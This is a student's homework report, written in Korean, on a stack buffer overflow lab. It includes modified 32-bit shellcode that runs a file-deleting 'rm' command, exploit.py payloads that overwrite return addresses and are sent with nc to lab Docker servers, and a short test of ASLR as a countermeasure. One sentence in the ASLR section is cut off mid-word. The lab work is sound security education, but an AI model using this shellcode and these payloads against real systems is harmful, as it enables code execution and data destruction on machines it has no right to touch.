# 정보보호론 BufferOverflow HW1 12215227 김나현

### Task 1 임의의 파일을 삭제할 수 있도록 shellcode를 변경

```
annynahyun2002@instance-20250928-113555:~/Labsetup/shellcode$ cat shellcode_32.py
#!/usr/bin/python3
import sys

# You can use this shellcode to run any command you want
shellcode = (
   "\xeb\x29\x5b\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x89\x5b"
   "\x48\x8d\x4b\x0a\x89\x4b\x4c\x8d\x4b\x0d\x89\x4b\x50\x89\x43\x54"
   "\x8d\x4b\x48\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xd2\xff\xff\xff"
   "/bin/bash*"
   "-c*"
   # You can modify the following command string to run any command.
   # You can even run multiple commands. When you change the string,
   # make sure that the position of the * at the end doesn't change.
   # The code above will change the byte at this position to zero,
   # so the command string ends here.
   # You can delete/add spaces, if needed, to keep the position the same.
   # The * in this line serves as the position marker         *
   "/bin/rm /tmp/testfile; echo Filedeleted                   *"
   "AAAA"    # Placeholder for argv[0] --> "/bin/bash"
   "BBBB"    # Placeholder for argv[1] --> "-c"
   "CCCC"    # Placeholder for argv[2] --> the command string
   "DDDD"    # Placeholder for argv[3] --> NULL
).encode('latin-1')

content = bytearray(200)
content[0:] = shellcode

# Save the binary code to file
with open('codefile_32', 'wb') as f:
  f.write(content)
```

쉘코드를 수정하여 /tmp에 있는 testfile 파일을 삭제하고 Filedeleted 메시지를 출력하도록 수정하였다.

"/bin/rm /tmp/virusfile; echo Delete the virusfile *"를

"/bin/rm /tmp/testfile; echo Filedeleted *"로 수정하였다.

```
annynahyun2002@instance-20250928-113555:~/Labsetup/shellcode$ make
gcc -m32 -z execstack -o a32.out call_shellcode.c
gcc -z execstack -o a64.out call_shellcode.c
annynahyun2002@instance-20250928-113555:~/Labsetup/shellcode$ cd /tmp
annynahyun2002@instance-20250928-113555:/tmp$ touch testfile
annynahyun2002@instance-20250928-113555:/tmp$ ls
snap-private-tmp  systemd-private-fee0f181bd9d42c181aa9f3258206885-chrony.service-1w6W9W
ssh-V67xwH1zF1    systemd-private-fee0f181bd9d42c181aa9f3258206885-systemd-logind.service-oj4hBf
ssh-yyhGAJgZLw    testfile
annynahyun2002@instance-20250928-113555:/tmp$ cd ~/Labsetup/shellcode
annynahyun2002@instance-20250928-113555:~/Labsetup/shellcode$ ./a32.out
codefile_32: No such file or directory
annynahyun2002@instance-20250928-113555:~/Labsetup/shellcode$ nano shellcode_32.py
annynahyun2002@instance-20250928-113555:~/Labsetup/shellcode$ ./shellcode_32.py
annynahyun2002@instance-20250928-113555:~/Labsetup/shellcode$ cd /tmp
annynahyun2002@instance-20250928-113555:/tmp$ touch testfile
annynahyun2002@instance-20250928-113555:/tmp$ cd ~Labsetup/shellcode
-bash: cd: ~Labsetup/shellcode: No such file or directory
annynahyun2002@instance-20250928-113555:/tmp$ cd ~/Labsetup/shellcode
annynahyun2002@instance-20250928-113555:~/Labsetup/shellcode$ ./a32.out
Filedeleted
annynahyun2002@instance-20250928-113555:~/Labsetup/shellcode$ cd /tmp
annynahyun2002@instance-20250928-113555:/tmp$ ls
snap-private-tmp  systemd-private-fee0f181bd9d42c181aa9f3258206885-chrony.service-1w6W9W
ssh-V67xwH1zF1    systemd-private-fee0f181bd9d42c181aa9f3258206885-systemd-logind.service-oj4hBf
ssh-yyhGAJgZLw
annynahyun2002@instance-20250928-113555:/tmp$
```

tmp 디렉터리에 testfile을 만들고 수정한 쉘코드를 실행하였다. 실행한 결과 Filedeleted 메시지가 출력되었다. /tmp 디렉터리에서 ls명령어로 확인한 결과 testfile이 삭제된 것을 확인할 수 있었다.

**Task 2 Level 1 공격**

```
annynahyun2002@instance-20250928-113555:~/Labsetup$ docker-compose up
Starting server-4-10.9.0.8 ... done
Starting server-1-10.9.0.5 ... done
Starting server-3-10.9.0.7 ... done
Starting server-2-10.9.0.6 ... done
Attaching to server-1-10.9.0.5, server-2-10.9.0.6, server-4-10.9.0.8, server-3-10.9.0.7
server-1-10.9.0.5 | Got a connection from 10.9.0.1
server-1-10.9.0.5 | Starting stack
server-1-10.9.0.5 | Input size: 6
server-1-10.9.0.5 | Frame Pointer (ebp) inside bof():  0xffffd028
server-1-10.9.0.5 | Buffer's address inside bof():     0xffffcfb8
```

**Frame Pointer (EBP):** 0xffffd028

**Buffer's Address (RET 주소로 사용):** 0xffffcfb8

다음과 같이 주솟값을 확인하였다.

```
    "\x8d\x4b\x48\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xd2\xff\xff\xff"
    "/bin/bash*"
    "-c*"
    # You can modify the following command string to run any command.
    # You can even run multiple commands. When you change the string,
    # make sure that the position of the * at the end doesn't change.
    # The code above will change the byte at this position to zero,
    # so the command string ends here.
    # You can delete/add spaces, if needed, to keep the position the same.
    # The * in this line serves as the position marker         *
    "echo This is the attacker code!!                         *"
    "AAAA"   # Placeholder for argv[0] --> "/bin/bash"
    "BBBB"   # Placeholder for argv[1] --> "-c"
    "CCCC"   # Placeholder for argv[2] --> the command string
    "DDDD"   # Placeholder for argv[3] --> NULL   # Put the shellcode in here
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

##################################################################
# Put the shellcode somewhere in the payload
start = 0x20               # Change this number
content[start:start + len(shellcode)] = shellcode

# Decide the return address value
# and put it somewhere in the payload
ret    = 0xffffcfb8
     # Change this number
offset = 0x74              # Change this number

# Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + 4] = (ret).to_bytes(4,byteorder='little')
##################################################################

# Write the content to a file
with open('badfile', 'wb') as f:
  f.write(content)
annynahyun2002@instance-20250928-113555:~/Labsetup/attack-code$
```

새 창을 띄운 후, 주솟값을 기반으로 exploit.py 파일을 수정하였다. 먼저 Task1에서 작성했던 shellcode를 붙여넣은 다음 echo 명령어만 수행하도록 수정하였다. start 주소는 `0x20`으로 바꾸었다. 이유는 쉘코드를 안전하게 삽입하기 위해 NOP 슬라이드 뒤에 배치했기 때문이다. return 주소는 버퍼 시작 주소0xffffcfb8로 설정하였다. Offset의 경우는 'ebp + 4 - 버퍼시작주소'로 계산하여 `0x74`로 설정하였다.

위 코드를 실행하면 리턴 주소를 덮어 쉘코드가 실행되도록 한다.

```
annynahyun2002@instance-20250928-113555:~/Labsetup$ docker-compose up
Starting server-4-10.9.0.8 ... done
Starting server-1-10.9.0.5 ... done
Starting server-3-10.9.0.7 ... done
Starting server-2-10.9.0.6 ... done
Attaching to server-1-10.9.0.5, server-2-10.9.0.6, server-4-10.9.0.8, server-3-10.9.0.7
server-1-10.9.0.5 | Got a connection from 10.9.0.1
server-1-10.9.0.5 | Starting stack
server-1-10.9.0.5 | Input size: 6
server-1-10.9.0.5 | Frame Pointer (ebp) inside bof():  0xffffd028
server-1-10.9.0.5 | Buffer's address inside bof():     0xffffcfb8
server-1-10.9.0.5 | ==== Returned Properly ====
server-1-10.9.0.5 | Got a connection from 10.9.0.1
server-1-10.9.0.5 | Starting stack
server-1-10.9.0.5 | Input size: 517
server-1-10.9.0.5 | Frame Pointer (ebp) inside bof():  0xffffd028
server-1-10.9.0.5 | Buffer's address inside bof():     0xffffcfb8
server-1-10.9.0.5 | This is the attac???ode!!
```

서버의 쉘에서 `echo This is the attacker code!!` 출력을 확인했다. 그리고 `Returned Properly` 메시지가 출력되지 않아서 스택 프로그램이 크래시된 것을 확인할 수 있었다. 이를 통해 리턴 주소를 덮고 쉘코드를 실행하는 데 성공했음을 증명할 수 있다.

**Task 3 Level 2 공격**

```
annynahyun2002@instance-20250928-113555:~/Labsetup$ docker-compose up
Starting server-4-10.9.0.8 ... done
Starting server-1-10.9.0.5 ... done
Starting server-3-10.9.0.7 ... done
Starting server-2-10.9.0.6 ... done
Attaching to server-4-10.9.0.8, server-2-10.9.0.6, server-1-10.9.0.5, server-3-10.9.0.7
server-2-10.9.0.6 | Got a connection from 10.9.0.1
server-2-10.9.0.6 | Starting stack
server-2-10.9.0.6 | Input size: 6
server-2-10.9.0.6 | Buffer's address inside bof():     0xffffd678
```

Level 2 공격도 Level1 공격같이 먼저 10.9.0.6 서버에 메시지를 보낸다. 결과 버퍼 시작 주소가 0xffffd678임을 알 수 있었다.

```
    "echo This is the attacker code!!                              *"
    "AAAA"    # Placeholder for argv[0] --> "/bin/bash"
    "BBBB"    # Placeholder for argv[1] --> "-c"
    "CCCC"    # Placeholder for argv[2] --> the command string
    "DDDD"    # Placeholder for argv[3] --> NULL   # Put the shellcode in here
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

################################################################################
# Put the shellcode somewhere in the payload
start = 10               # Change this number
content[start:start + len(shellcode)] = shellcode

# Decide the return address value
# and put it somewhere in the payload
ret    = 0xffffd678    # Change this number
offset = 104              # Change this number

# Use 4 for 32-bit address and 8 for 64-bit address
for i in range(offset, 308, 4):
       content[i:i + 4] = (ret).to_bytes(4,byteorder='little')
################################################################################
```

exploit.py파일을 수정했다. 쉘코드는 task2와 동일하게 하였고, start주소는 10, ret는 버퍼 시작주소로 설정하였다. offset을 104로 설정하였는데, 그 이유는 버퍼크기가 100이라면 최소 offset은 (ebp+4)-버퍼시작주소=104일 것이다. 그리고 같은 방식으로 계산해서 최대 offset은 304일 것으로 예상하고 104(0x68)부터 304(0x130)까지 4바이트 단위로 리턴 주소를 반복해서 덮어쓰도록 설정하였다.

```
annynahyun2002@instance-20250928-113555:~/Labsetup/attack-code$ nano exploit.py
annynahyun2002@instance-20250928-113555:~/Labsetup/attack-code$ ./exploit.py
annynahyun2002@instance-20250928-113555:~/Labsetup/attack-code$ cat badfile | nc 10.9.0.6 9090
annynahyun2002@instance-20250928-113555:~/Labsetup/attack-code$
```

서버의 프로그램에 입력으로 badfile을 제공하였다.

```
annynahyun2002@instance-20250928-113555:~/Labsetup$ docker-compose up
Starting server-4-10.9.0.8 ... done
Starting server-1-10.9.0.5 ... done
Starting server-3-10.9.0.7 ... done
Starting server-2-10.9.0.6 ... done
Attaching to server-4-10.9.0.8, server-2-10.9.0.6, server-1-10.9.0.5, server-3-10.9.0.7
server-2-10.9.0.6 | Got a connection from 10.9.0.1
server-2-10.9.0.6 | Starting stack
server-2-10.9.0.6 | Input size: 6
server-2-10.9.0.6 | Buffer's address inside bof():     0xffffd678
server-2-10.9.0.6 | ==== Returned Properly ====
server-2-10.9.0.6 | Got a connection from 10.9.0.1
server-2-10.9.0.6 | Starting stack
server-2-10.9.0.6 | Input size: 517
server-2-10.9.0.6 | Buffer's address inside bof():     0xffffd678
server-2-10.9.0.6 | This is the attacker code!! x
```

Badfile을 제공한 결과를 보면 서버의 쉘에서 'echo This is the attacker code!!' 출력을 확인할 수 있다. 그리고 `Returned Properly` 메시지가 출력되지 않아, 스택 프로그램이 크래시된 것을 출력을 통해 알 수 있었다. 이를 통해 리턴 주소를 덮고 쉘코드를 실행하는데 성공했음을 증명할 수 있다.

### Task 4 address radomization

```
annynahyun2002@instance-20250928-113555:~/Labsetup/attack-code$ sudo /sbin/sysctl -w kernel.randomize_va_space=2
kernel.randomize_va_space = 2
annynahyun2002@instance-20250928-113555:~/Labsetup/attack-code$
```

비활성화 되어있던 address randomization countermeasure을 활성화시켰다.

```
annynahyun2002@instance-20250928-113555:~/Labsetup$ docker-compose down
Removing server-2-10.9.0.6 ... done
Removing server-1-10.9.0.5 ... done
Removing server-3-10.9.0.7 ... done
Removing server-4-10.9.0.8 ... done
Removing network net-10.9.0.0
annynahyun2002@instance-20250928-113555:~/Labsetup$ docker-compose up
Creating network "net-10.9.0.0" with the default driver
Creating server-4-10.9.0.8 ... done
Creating server-3-10.9.0.7 ... done
Creating server-1-10.9.0.5 ... done
Creating server-2-10.9.0.6 ... done
Attaching to server-4-10.9.0.8, server-1-10.9.0.5, server-3-10.9.0.7, server-2-10.9.0.6
server-1-10.9.0.5 | Got a connection from 10.9.0.1
server-1-10.9.0.5 | Starting stack
server-1-10.9.0.5 | Input size: 6
server-1-10.9.0.5 | Frame Pointer (ebp) inside bof():  0xffb23888
server-1-10.9.0.5 | Buffer's address inside bof():     0xffb23818
server-1-10.9.0.5 | ==== Returned Properly ====
server-1-10.9.0.5 | Got a connection from 10.9.0.1
server-1-10.9.0.5 | Starting stack
server-1-10.9.0.5 | Input size: 6
server-1-10.9.0.5 | Frame Pointer (ebp) inside bof():  0xffaa6de8
server-1-10.9.0.5 | Buffer's address inside bof():     0xffaa6d78
server-1-10.9.0.5 | ==== Returned Properly ====
server-1-10.9.0.5 | Got a connection from 10.9.0.1
server-1-10.9.0.5 | Starting stack
server-1-10.9.0.5 | Input size: 6
server-1-10.9.0.5 | Frame Pointer (ebp) inside bof():  0xffae71f8
server-1-10.9.0.5 | Buffer's address inside bof():     0xffae7188
server-1-10.9.0.5 | ==== Returned Properly ====
```

위의 사진은 여러 번의 응답을 클라이언트에서 보낸 후의 결과이다. 확하게 지정할 수 없게 된다. 따라서 프로그램의 제어권이 쉘코드 대신 메모리의 엉뚱한 영역으로 넘어가게 되므로, 결국 공격은 실패하게 된다는 것을 알 수 있다. 위의 방어 기법으로 버퍼 오버플로우 공격의 성공률을 낮출 수 있다.